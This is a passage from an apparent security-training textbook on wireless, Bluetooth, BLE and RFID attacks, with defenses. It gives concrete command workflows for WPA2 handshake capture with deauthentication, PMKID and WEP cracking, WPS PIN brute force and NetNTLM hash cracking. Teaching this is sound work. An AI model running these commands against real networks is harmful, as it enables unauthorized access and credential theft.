&lt;p&gt;The purpose is convenience: when you connect to your home Wi-Fi once and walk away, then return, your device automatically reconnects. The device periodically sends probe request frames — broadcast messages asking "Is anyone out there advertising the network named X?" — for each network on its PNL. When a matching network responds, the device connects.&lt;/p&gt;

&lt;h3&gt;
  
  
  How Attackers Exploit the PNL
&lt;/h3&gt;

&lt;p&gt;The attack is elegant in its simplicity. An attacker runs software that passively listens for probe request frames from nearby devices. These probe requests reveal the names of every network that device has ever connected to — home networks, coffee shop networks, hotel networks, corporate networks. This is a significant privacy leak that reveals the history of where a device has been.&lt;/p&gt;

&lt;p&gt;More dangerously, the attacker can respond to these probe requests by broadcasting a network with the same SSID the device is probing for. The device, believing it has found its saved network, automatically connects — without any user interaction. The attacker now has a MITM position on that device's wireless traffic.&lt;/p&gt;

&lt;p&gt;Consider a practical example. An employee commutes by train and has previously connected to free Wi-Fi at a coffee shop called "Starbucks WiFi." Their laptop sends probe requests for "Starbucks WiFi" every few minutes while on the train. The attacker, sitting nearby, sees this probe and immediately broadcasts a network named "Starbucks WiFi." The victim's laptop automatically connects. The attacker now intercepts all of that laptop's unencrypted traffic.&lt;/p&gt;

&lt;p&gt;The particularly insidious aspect is that PNL attacks require no action from the victim and exploit trusted network connections — the victim's device is doing exactly what it was designed to do.&lt;/p&gt;

&lt;h3&gt;
  
  
  Defense
&lt;/h3&gt;

&lt;p&gt;The most effective defense is keeping the PNL short. Remove saved networks you no longer use regularly. On public networks, configure the device to "forget" the network after leaving rather than saving it permanently. Disabling automatic reconnection to open networks removes the most dangerous category of PNL attack targets, since the attacker can impersonate these networks without needing to know any credentials.&lt;/p&gt;




&lt;h2&gt;
  
  
  5.2.6 Wireless Signal Jamming and Interference
&lt;/h2&gt;

&lt;h3&gt;
  
  
  How Wi-Fi Signals Can Be Disrupted
&lt;/h3&gt;

&lt;p&gt;Wi-Fi operates on shared radio frequency spectrum. If the 2.4 GHz or 5 GHz frequencies are flooded with noise or competing signals of sufficient strength, wireless communication becomes impossible. This is the principle behind jamming attacks — overwhelming the target frequency band with radio frequency noise.&lt;/p&gt;

&lt;p&gt;Radio frequency jamming at sufficient power levels is illegal in most jurisdictions — classified as interference with communications and subject to significant criminal penalties. However, understanding jamming is important for security professionals because it represents a denial-of-service threat to wireless infrastructure.&lt;/p&gt;

&lt;h3&gt;
  
  
  Intentional Jamming
&lt;/h3&gt;

&lt;p&gt;A dedicated RF jammer broadcasts noise on the target frequency band at sufficient power to overwhelm legitimate Wi-Fi signals. Devices within range cannot communicate because the background noise drowns out the actual data signals. Unlike the deauthentication attack (which targets specific protocol behaviors), jamming is a physical layer attack — it works regardless of the security protocol in use, against WPA3 just as effectively as against WEP.&lt;/p&gt;

&lt;h3&gt;
  
  
  Protocol-Level Denial of Service
&lt;/h3&gt;

&lt;p&gt;Beyond physical jamming, several protocol-level attacks create effective denial of service on wireless networks without requiring an RF jammer. Beacon flooding sends thousands of fake beacon frames advertising non-existent networks, overwhelming clients' ability to find the real network. Authentication flooding sends massive numbers of authentication requests to an access point, exhausting its state table. EAPOL flooding overwhelms the 802.1X authentication process with fake EAPOL frames. These attacks can be launched with standard wireless hardware and tools like MDK3/MDK4.&lt;/p&gt;

&lt;h3&gt;
  
  
  Unintentional Interference and Detection
&lt;/h3&gt;

&lt;p&gt;Not all wireless interference is malicious. The 2.4 GHz band is shared with microwave ovens, baby monitors, Bluetooth devices, cordless phones, and neighboring Wi-Fi networks. Security professionals investigating wireless issues must distinguish between malicious jamming and ordinary interference.&lt;/p&gt;

&lt;p&gt;Tools for analyzing wireless interference include spectrum analyzers and software tools like Wi-Spy combined with Chanalyzer that provide spectrum analysis from a USB device. Identifying unexpected high-power signals on Wi-Fi frequencies is the first step in determining whether jamming is occurring.&lt;/p&gt;




&lt;h2&gt;
  
  
  5.2.7 War Driving
&lt;/h2&gt;

&lt;h3&gt;
  
  
  The Concept and History
&lt;/h3&gt;

&lt;p&gt;War driving is the practice of driving (or walking, flying, or moving by any means) through an area while scanning for wireless networks. The term dates from the early 2000s and combines "war dialing" (an older technique of calling phone numbers sequentially to find modems) with the act of driving.&lt;/p&gt;

&lt;p&gt;War driving serves legitimate purposes in security assessments: mapping an organization's wireless footprint to identify unauthorized access points or networks that extend beyond the intended coverage area. The first large-scale war driving surveys in the early 2000s revealed that the majority of Wi-Fi networks were either completely unsecured or using WEP — data that was pivotal in pushing organizations toward better security practices.&lt;/p&gt;

&lt;h3&gt;
  
  
  Modern War Driving
&lt;/h3&gt;

&lt;p&gt;Modern war driving typically involves a laptop or Raspberry Pi with a wireless adapter and GPS receiver, running software like Kismet or Wigle. Kismet passively captures 802.11 frames and logs discovered networks with their SSID, BSSID, security configuration, signal strength, and GPS coordinates.&lt;/p&gt;

&lt;p&gt;Wigle.net is a crowdsourced database of wireless networks collected through war driving worldwide. Users upload scan results, and the database can be queried to find historical records of networks at specific locations — useful for OSINT (locating where a specific network has been seen, identifying all networks at a target location).&lt;/p&gt;

&lt;p&gt;War flying extends war driving to drones and aircraft, achieving wider coverage. Security researchers have demonstrated war flying over large areas to survey wireless network density. More concerningly, attackers have used drones with wireless hardware to access networks in areas that are physically inaccessible — rooftops or upper floors of buildings where ground-level attacks would not reach.&lt;/p&gt;

&lt;h3&gt;
  
  
  What War Driving Reveals
&lt;/h3&gt;

&lt;p&gt;For a penetration tester assessing an organization, war driving around the building reveals: which wireless networks the organization broadcasts and from where (signal leakage mapping), any unauthorized rogue access points, the security configuration of each network (open, WEP, WPA2, WPA3), access point models and firmware versions (which may have known vulnerabilities), and neighboring networks that might create interference or confusion.&lt;/p&gt;

&lt;h3&gt;
  
  
  Tools
&lt;/h3&gt;

&lt;p&gt;Kismet: &lt;code&gt;kismet --interface wlan0&lt;/code&gt; starts passive scanning, logging all discovered networks to a SQLite database. Airodump-ng: &lt;code&gt;airodump-ng wlan0mon&lt;/code&gt; shows all visible networks with SSID, BSSID, encryption type, channel, and signal strength. Both tools can be combined with a GPS device for geographic logging.&lt;/p&gt;




&lt;h2&gt;
  
  
  5.2.8 Initialization Vector (IV) Attacks and Unsecured Wireless Protocols
&lt;/h2&gt;

&lt;h3&gt;
  
  
  WEP — Why It Failed
&lt;/h3&gt;

&lt;p&gt;WEP (Wired Equivalent Privacy) was the original security protocol for 802.11 wireless networks, introduced in 1997. Its name reflected the goal: making wireless networks as secure as wired networks. By the early 2000s, WEP was completely broken — not improved or degraded, but fundamentally and irrecoverably broken. Understanding why WEP failed is essential for understanding IV attacks and for appreciating why proper cryptographic design matters.&lt;/p&gt;

&lt;p&gt;WEP used RC4 as its encryption algorithm — a stream cipher that generates a pseudorandom keystream that is XORed with the plaintext to produce ciphertext. RC4 itself is not inherently broken. The problem was how WEP used it.&lt;/p&gt;

&lt;h3&gt;
  
  
  The Initialization Vector Problem — Explained Simply
&lt;/h3&gt;

&lt;p&gt;A stream cipher like RC4 must never use the same key to encrypt two different plaintexts. Imagine you have a secret codebook that substitutes each letter with a symbol. If you always use the same codebook for every message, an eavesdropper who collects enough messages can eventually figure out the code — because the same letter will always become the same symbol, revealing patterns.&lt;/p&gt;

&lt;p&gt;WEP addressed this by adding a 24-bit Initialization Vector (IV) — a random number prepended to the WEP key for each packet. This means each packet theoretically uses a slightly different key. With a 24-bit IV, there are 16,777,216 possible values.&lt;/p&gt;

&lt;p&gt;This sounds sufficient until you consider packet volumes. A moderately loaded network transmits hundreds of packets per second. With 16.7 million possible IVs and random selection, by the birthday paradox, IVs begin repeating after approximately 5,000 packets on average — on a busy network, this happens within minutes. When two packets are encrypted with the same IV (and therefore the same keystream), an attacker who captures both can XOR them together to eliminate the keystream, revealing information about both plaintexts.&lt;/p&gt;

&lt;h3&gt;
  
  
  The FMS Attack — Statistical Cryptanalysis
&lt;/h3&gt;

&lt;p&gt;In 2001, researchers Fluhrer, Mantin, and Shamir published a paper (the FMS attack) describing a weakness in RC4's key scheduling algorithm. Certain IVs — called "weak IVs" — leak information about the key bytes when used. By collecting enough packets encrypted with weak IVs and performing statistical analysis on the first bytes of each keystream, the WEP key can be recovered.&lt;/p&gt;

&lt;p&gt;This moved WEP cracking from theoretical to practical: collecting enough traffic (originally millions of packets, reduced to tens of thousands with improved techniques) and running cryptanalysis would recover the WEP key regardless of its length. The PTW attack (2007) further reduced the requirement to approximately 40,000 packets for a 40-bit WEP key — collectable in minutes on a busy network.&lt;/p&gt;

&lt;p&gt;Tools like Aircrack-ng automate this entire process: capture packets with Airodump-ng, inject ARP request packets with Aireplay-ng (which forces the AP to respond with known-plaintext packets, dramatically accelerating IV collection), and run Aircrack-ng against the capture file to recover the key.&lt;/p&gt;

&lt;h3&gt;
  
  
  WPA and WPA2 — Improvements and Remaining Weaknesses
&lt;/h3&gt;

&lt;p&gt;WPA (2003) was introduced as an emergency fix for WEP while WPA2 was being finalized. WPA used TKIP (Temporal Key Integrity Protocol) which addressed WEP's IV reuse problem with a 48-bit sequence counter and added MIC (Message Integrity Check) to detect tampering.&lt;/p&gt;

&lt;p&gt;WPA2 (2004) replaced TKIP with CCMP using AES encryption — a significant security improvement. WPA2 became mandatory for Wi-Fi certification in 2006.&lt;/p&gt;

&lt;p&gt;WPA2's primary remaining weakness in Personal mode (WPA2-PSK) is the four-way handshake. When a client authenticates to a WPA2-PSK network, they perform a four-way handshake with the access point that establishes session keys. This handshake does not transmit the PSK but uses it in key derivation. An attacker who captures this handshake can perform offline dictionary attacks: for each candidate password, derive the PMK (Pairwise Master Key), then verify against the captured handshake.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Capturing the handshake:&lt;/strong&gt; Use Airodump-ng to capture traffic on the target network's channel, then use Aireplay-ng to send deauthentication frames forcing clients to reconnect. When a client reconnects, the four-way handshake is captured. Crack with Aircrack-ng: &lt;code&gt;aircrack-ng -w wordlist.txt capture.cap&lt;/code&gt;. Hashcat is significantly faster for GPU-accelerated cracking: &lt;code&gt;hashcat -m 22000 capture.hc22000 wordlist.txt&lt;/code&gt;.&lt;/p&gt;

&lt;h3&gt;
  
  
  WPA3 and Its Improvements
&lt;/h3&gt;

&lt;p&gt;WPA3 (2018) addressed the four-way handshake vulnerability by replacing PSK authentication with SAE (Simultaneous Authentication of Equals, also called Dragonfly). SAE is a zero-knowledge proof protocol that does not transmit anything from which the password can be derived offline — even if an attacker captures the entire authentication exchange, they cannot perform offline dictionary attacks. Each authentication attempt requires active interaction with the network.&lt;/p&gt;

&lt;p&gt;WPA3 also provides forward secrecy: even if an attacker records all encrypted traffic and later compromises the network password, they cannot decrypt past sessions, because each session's keys are derived independently and not stored.&lt;/p&gt;

&lt;p&gt;WPA3 vulnerabilities exist but are significantly more difficult to exploit: side-channel attacks against SAE implementations, downgrade attacks forcing WPA2 in mixed-mode networks, and denial-of-service conditions.&lt;/p&gt;

&lt;h3&gt;
  
  
  PMKID Attack
&lt;/h3&gt;

&lt;p&gt;The PMKID attack (discovered 2018) allows capturing a value from the access point that can be used for offline WPA2 password cracking without capturing a four-way handshake. The PMKID is included in some EAPOL frames and is derived from the PMK (which is derived from the password). This means an attacker can request this value from the access point directly — without needing any clients to be connected or disconnected.&lt;/p&gt;

&lt;p&gt;hcxdumptool captures PMKIDs: &lt;code&gt;hcxdumptool -i wlan0mon -o output.pcapng --enable_status=1&lt;/code&gt;. Convert and crack: &lt;code&gt;hcxpcapngtool output.pcapng -o hash.hc22000&lt;/code&gt; then &lt;code&gt;hashcat -m 22000 hash.hc22000 wordlist.txt&lt;/code&gt;.&lt;/p&gt;

&lt;h3&gt;
  
  
  WPS Attacks
&lt;/h3&gt;

&lt;p&gt;WPS (Wi-Fi Protected Setup) was designed to make it easier to add devices to a WPA2 network without typing a long password. One WPS method uses an 8-digit PIN. Researchers in 2011 discovered that the WPS PIN verification is split into two 4-digit halves that are verified separately — reducing the effective search space from 10^8 to 10^4 + 10^4 (20,000 guesses). This makes brute-forcing the WPS PIN trivial.&lt;/p&gt;

&lt;p&gt;Reaver is the primary tool for WPS PIN attacks: &lt;code&gt;reaver -i wlan0mon -b [BSSID] -vv&lt;/code&gt;. On routers without rate limiting or lockout, this takes 4-10 hours. WPS should be disabled on all access points as a security baseline.&lt;/p&gt;




&lt;h2&gt;
  
  
  5.2.9 KARMA Attacks
&lt;/h2&gt;

&lt;h3&gt;
  
  
  The KARMA Concept
&lt;/h3&gt;

&lt;p&gt;KARMA (Karma Attacks Radio Machines Automatically) exploits the probe request behavior of wireless devices to create an automated "I am whatever you're looking for" rogue access point.&lt;/p&gt;

&lt;p&gt;Recall from 5.2.5 that wireless devices broadcast probe requests asking "Is anyone out there with the network name X?" for each network in their Preferred Network List. Traditional Evil Twin attacks require the attacker to know the SSID they want to impersonate before setting up the rogue AP. KARMA eliminates this requirement entirely.&lt;/p&gt;

&lt;p&gt;A KARMA-enabled access point responds to any probe request it receives, regardless of the requested SSID. When a client's device sends a probe request for "HomeNetwork_5G", the KARMA AP responds "Yes, I am HomeNetwork_5G." When the next client probes for "Airport_Free_WiFi", the KARMA AP responds "Yes, I am Airport_Free_WiFi." For open networks (no password required), the client will automatically connect without any user interaction.&lt;/p&gt;

&lt;h3&gt;
  
  
  Why KARMA Is So Effective
&lt;/h3&gt;

&lt;p&gt;KARMA attacks are particularly effective in crowded public spaces: airports, coffee shops, train stations, conference centers. In these environments, dozens or hundreds of devices are constantly sending probe requests for their home networks, previous hotel Wi-Fi, coffee shop networks — every open network they have ever connected to. A single KARMA access point can simultaneously impersonate hundreds of different networks, automatically establishing a MITM position for any device that auto-connects.&lt;/p&gt;

&lt;p&gt;The attack is passive in its trigger — it simply responds to what clients ask for rather than requiring the attacker to know anything in advance. Combined with automatic connection behavior for open networks, KARMA attacks can capture device traffic without any user interaction whatsoever.&lt;/p&gt;

&lt;h3&gt;
  
  
  KARMA in Modern Environments
&lt;/h3&gt;

&lt;p&gt;Modern operating systems have partially mitigated KARMA attacks. iOS devices send randomized MAC addresses and in some cases send undirected probe requests (not specifying the SSID). Android similarly has improved probe request privacy. However, many devices still send directed probes for some saved networks, and randomization is not universal. Additionally, KARMA remains highly effective against open networks — even with directed probe improvement, if a device probes for an open network, it will automatically connect to a KARMA AP without any prompt.&lt;/p&gt;

&lt;h3&gt;
  
  
  Tools
&lt;/h3&gt;

&lt;p&gt;Hostapd-wpe with KARMA support automatically responds to all probe requests. The Hak5 Wi-Fi Pineapple — a commercial device specifically designed for wireless security testing — includes KARMA functionality as a core feature, making it a popular tool for authorized wireless penetration testing.&lt;/p&gt;




&lt;h2&gt;
  
  
  5.2.10 Fragmentation Attacks
&lt;/h2&gt;

&lt;h3&gt;
  
  
  What Is a Fragmentation Attack?
&lt;/h3&gt;

&lt;p&gt;Wireless fragmentation attacks target the WEP encryption protocol specifically, exploiting its fragmentation mechanism to obtain keystream material that can be used to inject arbitrary packets into a WEP-protected network.&lt;/p&gt;

&lt;h3&gt;
  
  
  The Mechanism — Step by Step
&lt;/h3&gt;

&lt;p&gt;WEP allows packets to be fragmented — split into smaller pieces for transmission. Each fragment is encrypted independently using RC4 with the combination of the WEP key and a per-fragment IV.&lt;/p&gt;

&lt;p&gt;When the attack captures even a small encrypted fragment, if the attacker knows the plaintext of that fragment (ARP packets have a known, predictable structure), they can recover the keystream used to encrypt it: plaintext XOR ciphertext = keystream.&lt;/p&gt;

&lt;p&gt;With a small piece of keystream, the attacker can generate a new encrypted packet. By sending this packet and observing whether the access point accepts it (indicates valid encryption) or rejects it, the attacker can iteratively extend their knowledge of the keystream until they have 1500 bytes of keystream — enough to encrypt a full-size Ethernet packet.&lt;/p&gt;

&lt;p&gt;This 1500-byte PRGA (Pseudo-Random Generation Algorithm output) becomes a powerful tool: the attacker can now inject arbitrary packets into the WEP-protected network without knowing the actual WEP key. They can generate and inject ARP requests, DNS queries, or other packets that elicit responses, and those responses provide more keystream, enabling further traffic injection and eventually WEP key recovery.&lt;/p&gt;

&lt;h3&gt;
  
  
  Significance
&lt;/h3&gt;

&lt;p&gt;The fragmentation attack demonstrates that WEP's problems extend beyond simple IV collection attacks. Even in scenarios where IV collection might be slow, the fragmentation attack can bootstrap an attacker's capabilities using very limited captured traffic. Aireplay-ng implements the fragmentation attack: &lt;code&gt;aireplay-ng --fragment -b [BSSID] -h [your_MAC] wlan0mon&lt;/code&gt;.&lt;/p&gt;




&lt;h2&gt;
  
  
  5.2.11 Practice — IV, Unsecured Wireless, KARMA, and Fragmentation Attacks
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Setting Up a Wireless Lab
&lt;/h3&gt;

&lt;p&gt;Practicing wireless attacks requires specific hardware. The most important requirement is a wireless adapter that supports monitor mode and packet injection. Monitor mode allows the adapter to capture all 802.11 frames on the air, not just those addressed to it. Packet injection allows sending arbitrary 802.11 frames.&lt;/p&gt;

&lt;p&gt;Not all wireless adapters support these modes — most built-in laptop Wi-Fi adapters do not. Popular choices for penetration testing include the Alfa AWUS036ACH (dual-band, excellent range), Alfa AWUS036NHA (2.4 GHz, long-range), and TP-Link TL-WN722N v1 (the v1 specifically — later versions changed chipsets and removed injection support).&lt;/p&gt;

&lt;h3&gt;
  
  
  Enabling Monitor Mode
&lt;/h3&gt;

&lt;p&gt;Enable monitor mode on the adapter: &lt;code&gt;airmon-ng check kill&lt;/code&gt; (kills interfering processes like NetworkManager), then &lt;code&gt;airmon-ng start wlan0&lt;/code&gt; (creates a monitor mode interface, typically named wlan0mon). Verify with &lt;code&gt;iwconfig wlan0mon&lt;/code&gt; — the mode should show "Monitor."&lt;/p&gt;

&lt;h3&gt;
  
  
  Complete WPA2 Handshake Capture and Crack Workflow
&lt;/h3&gt;

&lt;p&gt;Start capturing on the target network's channel: &lt;code&gt;airodump-ng --bssid [TARGET_BSSID] --channel [CH] -w capture wlan0mon&lt;/code&gt;. In a second terminal, force a reconnection to capture the handshake: &lt;code&gt;aireplay-ng --deauth 5 -a [TARGET_BSSID] wlan0mon&lt;/code&gt;. Watch the airodump-ng terminal for "WPA handshake: [BSSID]" in the top right — this confirms capture. Stop airodump-ng and crack: &lt;code&gt;aircrack-ng -w /usr/share/wordlists/rockyou.txt capture-01.cap&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;For GPU cracking with Hashcat, convert the capture first: &lt;code&gt;hcxpcapngtool capture-01.cap -o hash.hc22000&lt;/code&gt; then &lt;code&gt;hashcat -m 22000 hash.hc22000 /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule&lt;/code&gt;.&lt;/p&gt;

&lt;h3&gt;
  
  
  WEP Cracking Workflow
&lt;/h3&gt;

&lt;p&gt;For a WEP network (set up in lab only): start airodump-ng targeting the network and collecting IVs: &lt;code&gt;airodump-ng --bssid [BSSID] --channel [CH] -w wep_capture wlan0mon&lt;/code&gt;. Speed up IV collection with ARP replay: associate with the network first (&lt;code&gt;aireplay-ng --fakeauth 0 -a [BSSID] -h [your_MAC] wlan0mon&lt;/code&gt;) then inject ARP packets (&lt;code&gt;aireplay-ng --arpreplay -b [BSSID] -h [your_MAC] wlan0mon&lt;/code&gt;). Once 50,000+ IVs are collected, crack: &lt;code&gt;aircrack-ng wep_capture-01.cap&lt;/code&gt;.&lt;/p&gt;




&lt;h2&gt;
  
  
  5.2.12 Credential Harvesting
&lt;/h2&gt;

&lt;h3&gt;
  
  
  What Is Credential Harvesting in Wireless Context?
&lt;/h3&gt;

&lt;p&gt;In the wireless attack context, credential harvesting refers to techniques specifically used to capture authentication credentials — usernames, passwords, Wi-Fi keys — from victims connecting to or attempting to connect to wireless networks. Wireless-specific techniques are particularly interesting because they can capture credentials without the victim ever realizing they have been compromised.&lt;/p&gt;

&lt;h3&gt;
  
  
  Captive Portal Credential Harvesting
&lt;/h3&gt;

&lt;p&gt;A captive portal is the web page that appears when you connect to a public Wi-Fi network — hotel Wi-Fi that requires your room number, coffee shop Wi-Fi that requires email registration. Attackers create fake captive portals as part of Evil Twin and rogue AP attacks.&lt;/p&gt;

&lt;p&gt;When a victim connects to the attacker's access point, a realistic-looking captive portal appears — mimicking the interface of Starbucks, AT&amp;amp;T, or whatever network the victim expects to see. The victim enters their credentials. The attacker captures these credentials directly. Wifiphisher has a library of pre-built captive portal templates specifically for this purpose, including realistic imitations of common networks and router firmware interfaces that ask victims to "re-enter their Wi-Fi password due to a firmware update."&lt;/p&gt;

&lt;h3&gt;
  
  
  WPA-Enterprise Credential Harvesting
&lt;/h3&gt;

&lt;p&gt;For enterprise networks using WPA-Enterprise (802.1X), when a client device connects to an Evil Twin access point and attempts automatic authentication using saved credentials, the authentication occurs over EAP (Extensible Authentication Protocol). Depending on the EAP method in use, the attacker captures NTLM hashes (from MSCHAPv2-based methods like PEAP and EAP-TTLS), which can be cracked offline to recover Active Directory passwords.&lt;/p&gt;

&lt;p&gt;Hostapd-wpe is specifically designed for this: it supports WPA-Enterprise authentication, accepts connections from clients, captures EAP authentication attempts, and logs the credential hashes. After capturing, crack NTLM hashes with Hashcat: &lt;code&gt;hashcat -m 5500 captured_hashes.txt wordlist.txt&lt;/code&gt;.&lt;/p&gt;

&lt;h3&gt;
  
  
  SSL Stripping in Wireless MITM
&lt;/h3&gt;

&lt;p&gt;With an on-path position established through an Evil Twin or KARMA attack, an attacker can apply SSL stripping to downgrade HTTPS connections to HTTP, allowing interception of credentials even from sites using TLS. Bettercap's SSL stripping functionality automates this process. Tools like sslstrip2 specifically handle HSTS preloading bypass techniques.&lt;/p&gt;

&lt;h3&gt;
  
  
  DNS Credential Harvesting
&lt;/h3&gt;

&lt;p&gt;With a MITM position and DNS control (via rogue DHCP or DNS spoofing), the attacker can redirect the victim's DNS queries for target sites (banking portals, email login pages, corporate VPN portals) to attacker-controlled servers running realistic phishing pages. The victim believes they are logging into their bank — instead, they are submitting credentials to the attacker.&lt;/p&gt;




&lt;h2&gt;
  
  
  5.2.13 Bluejacking and Bluesnarfing
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Bluetooth Fundamentals
&lt;/h3&gt;

&lt;p&gt;Bluetooth is a short-range wireless technology (typically 10-100 meters range depending on device class) operating in the 2.4 GHz ISM band. It uses frequency hopping spread spectrum (FHSS), switching between 79 frequencies 1,600 times per second, making it resistant to narrowband interference and eavesdropping compared to static-frequency protocols.&lt;/p&gt;

&lt;p&gt;Bluetooth devices operate in one of three discovery modes: discoverable (visible to other Bluetooth devices scanning for them), limited discoverable (visible for a short time period), and non-discoverable (not broadcasting their presence). Only discoverable devices are visible to scanning, but non-discoverable devices can still be connected to if their address is already known.&lt;/p&gt;

&lt;h3&gt;
  
  
  Bluejacking
&lt;/h3&gt;

&lt;p&gt;Bluejacking is the practice of sending unsolicited messages to Bluetooth-enabled devices. The name is a portmanteau of "Bluetooth" and "hijacking" but is somewhat misleading — it does not hijack anything. The attacker simply sends a message that appears on the victim's device.&lt;/p&gt;

&lt;p&gt;The original bluejacking exploited the Bluetooth OBEX (Object Exchange) protocol's ability to push contact cards (vCards) to other devices without requiring prior pairing. The contact card's "name" field could contain any text, which would appear as a notification on the victim's screen. Attackers used this to send unexpected messages — sometimes harmless pranks, sometimes social engineering messages like "Your phone has a security problem, call 555-1234 for support."&lt;/p&gt;

&lt;p&gt;Modern Bluetooth implementations require user confirmation before accepting unsolicited OBEX pushes, which has largely eliminated this attack vector on current devices. However, it remains relevant for identifying older devices and for understanding social engineering through Bluetooth.&lt;/p&gt;

&lt;h3&gt;
  
  
  Bluesnarfing
&lt;/h3&gt;

&lt;p&gt;Bluesnarfing is significantly more serious than bluejacking — it involves unauthorized access to information stored on a Bluetooth-enabled device. The attack exploits implementation weaknesses in the OBEX protocol to retrieve data (contacts, calendar entries, emails, messages) without the device owner's knowledge or consent.&lt;/p&gt;

&lt;p&gt;Early Bluetooth implementations (pre-2003) allowed OBEX GET requests without requiring authentication, meaning an attacker within Bluetooth range could request and receive the phone's entire contact list, calendar, and messages without the user seeing any notification. The device needed to be in discoverable mode, but that was often the default.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;How exploitation works:&lt;/strong&gt; The attacker uses a tool like btftp or bluesnarf to send OBEX GET requests for specific file paths on the target device's Bluetooth file system. Paths like telecom/pb.vcf (phone book in VCard format), telecom/cal.vcs (calendar), and telecom/msg/ (messages folder) are standard paths that early devices exposed without authentication. The attacker receives the files directly without the user seeing any notification.&lt;/p&gt;

&lt;p&gt;The vulnerability was significant enough that affected manufacturers released firmware updates. Modern Bluetooth devices require pairing (and user authentication) before any data access, but older devices remain vulnerable. In penetration testing scenarios targeting environments with older hardware (medical devices, industrial equipment), bluesnarfing vulnerabilities may still be present.&lt;/p&gt;

&lt;h3&gt;
  
  
  Bluebugging
&lt;/h3&gt;

&lt;p&gt;Bluebugging is a more advanced attack that gained access to a phone's AT commands via Bluetooth, allowing the attacker to place calls, send SMS messages, read messages, and access phone functions — all silently, without the device owner's knowledge.&lt;/p&gt;

&lt;h3&gt;
  
  
  Defense
&lt;/h3&gt;

&lt;p&gt;Keep Bluetooth disabled when not in use. When pairing, do so in private locations. Keep device firmware updated. Enable "non-discoverable" mode by default. Modern Bluetooth (2.1+) with Secure Simple Pairing is resistant to historical Bluesnarfing attacks.&lt;/p&gt;




&lt;h2&gt;
  
  
  5.2.14 Bluetooth Low Energy (BLE) Attacks
&lt;/h2&gt;

&lt;h3&gt;
  
  
  BLE vs. Classic Bluetooth
&lt;/h3&gt;

&lt;p&gt;Bluetooth Low Energy was introduced with Bluetooth 4.0 (2010) and is a fundamentally different protocol from Classic Bluetooth. BLE was designed for IoT devices that require minimal power consumption — fitness trackers, smartwatches, medical devices (heart rate monitors, glucose meters, insulin pumps), smart home sensors, beacons, and a vast array of consumer electronics.&lt;/p&gt;

&lt;p&gt;BLE devices typically operate in two modes: advertising (broadcasting their presence and possibly data on advertising channels) or connected (exchanging data with a paired device on data channels). The advertising mode is critical for security: BLE devices in advertising mode are broadcasting data continuously, and this broadcast can be received by anyone with a BLE scanner.&lt;/p&gt;

&lt;h3&gt;
  
  
  BLE Security Models and Their Weaknesses
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;No Security / No Encryption:&lt;/strong&gt; The device transmits and receives data with no encryption and no authentication. An attacker within range can read all communications. Remarkably, many IoT devices operate in this mode — fitness bands, simple sensors, location beacons.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Unauthenticated Pairing (Just Works):&lt;/strong&gt; The device accepts pairing without any verification of the connecting party's identity. There is no PIN or confirmation. An attacker can pair with the device, and if the application relies on pairing as access control, they gain full access.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Authenticated Pairing:&lt;/strong&gt; Requires out-of-band verification (entering a PIN displayed on the device, comparing numeric codes). This provides protection against on-path attacks during pairing.&lt;/p&gt;

&lt;h3&gt;
  
  
  BLE Sniffing
&lt;/h3&gt;

&lt;p&gt;BLE advertising is public by design — that is its purpose, to advertise the device's presence. BLE sniffers can passively capture all advertising packets from all BLE devices in range. Tools like Ubertooth One (specialized hardware for Bluetooth sniffing) and standard Bluetooth adapters with Wireshark's Bluetooth support can capture BLE advertising data.&lt;/p&gt;

&lt;p&gt;The data in BLE advertising packets can be sensitive: fitness devices broadcasting health metrics, retail beacons broadcasting location data, Bluetooth proximity devices revealing user location patterns.&lt;/p&gt;

&lt;h3&gt;
  
  
  BLE MITM Attacks
&lt;/h3&gt;

&lt;p&gt;For BLE connections that use encryption, an on-path attack during the pairing process can capture the keys needed to decrypt subsequent communications. In Just Works pairing mode, there is no protection against a MITM attack — the attacker can intercept the pairing process and insert themselves between the device and its controller.&lt;/p&gt;

&lt;p&gt;GATTacker is a tool for BLE MITM attacks that creates a relay between a BLE peripheral and a central device, allowing inspection and modification of GATT (Generic Attribute Profile) communications. A practical attack using GATTacker against a smart lock, fitness tracker, or medical device can demonstrate the complete insecurity of many BLE IoT implementations.&lt;/p&gt;

&lt;h3&gt;
  
  
  BLE Replay Attacks
&lt;/h3&gt;

&lt;p&gt;Many BLE devices implement simple lock/unlock mechanisms using BLE commands. If these commands are sent in plaintext or with weak cryptography, an attacker who captures the command sequence can replay it later to achieve the same effect — unlocking a door, triggering a device, or changing a setting. Security researchers have demonstrated replay attacks against BLE-enabled door locks, car keyless entry systems, and medical device controllers.&lt;/p&gt;




&lt;h2&gt;
  
  
  5.2.15 Radio-Frequency Identification (RFID) Attacks
&lt;/h2&gt;

&lt;h3&gt;
  
  
  What Is RFID?
&lt;/h3&gt;

&lt;p&gt;RFID (Radio-Frequency Identification) uses electromagnetic fields to automatically identify and track tags attached to objects or embedded in access cards. RFID systems have two components: a reader (which generates an electromagnetic field) and a tag (which is powered by and responds to this field).&lt;/p&gt;

&lt;p&gt;Tags can be passive (no battery — powered entirely by the reader's electromagnetic field, range of a few centimeters to meters) or active (battery-powered, can initiate communication, longer range). RFID operates at various frequencies: LF (125 kHz), HF (13.56 MHz, including NFC), and UHF (860-960 MHz).&lt;/p&gt;

&lt;p&gt;RFID is pervasive in physical security: employee access badges, building entry systems, hotel key cards, public transit cards, library book tracking, supply chain management, and contactless payment cards.&lt;/p&gt;

&lt;h3&gt;
  
  
  RFID Skimming — How It Works
&lt;/h3&gt;

&lt;p&gt;RFID skimming reads tag data from a distance without the tag owner's knowledge or consent. For LF and HF tags (including many access control cards), a concealed reader can capture the tag's data when the victim is within range. This requires only commercially available RFID reader hardware, often available for under $50.&lt;/p&gt;

&lt;p&gt;The captured data (typically a unique identifier number) can be cloned to a blank, writable tag — a "blank" access card — allowing the attacker to present as the victim to RFID-based access control systems. This attack is particularly effective against older access control systems using simple UID-based authentication without cryptographic challenge-response.&lt;/p&gt;

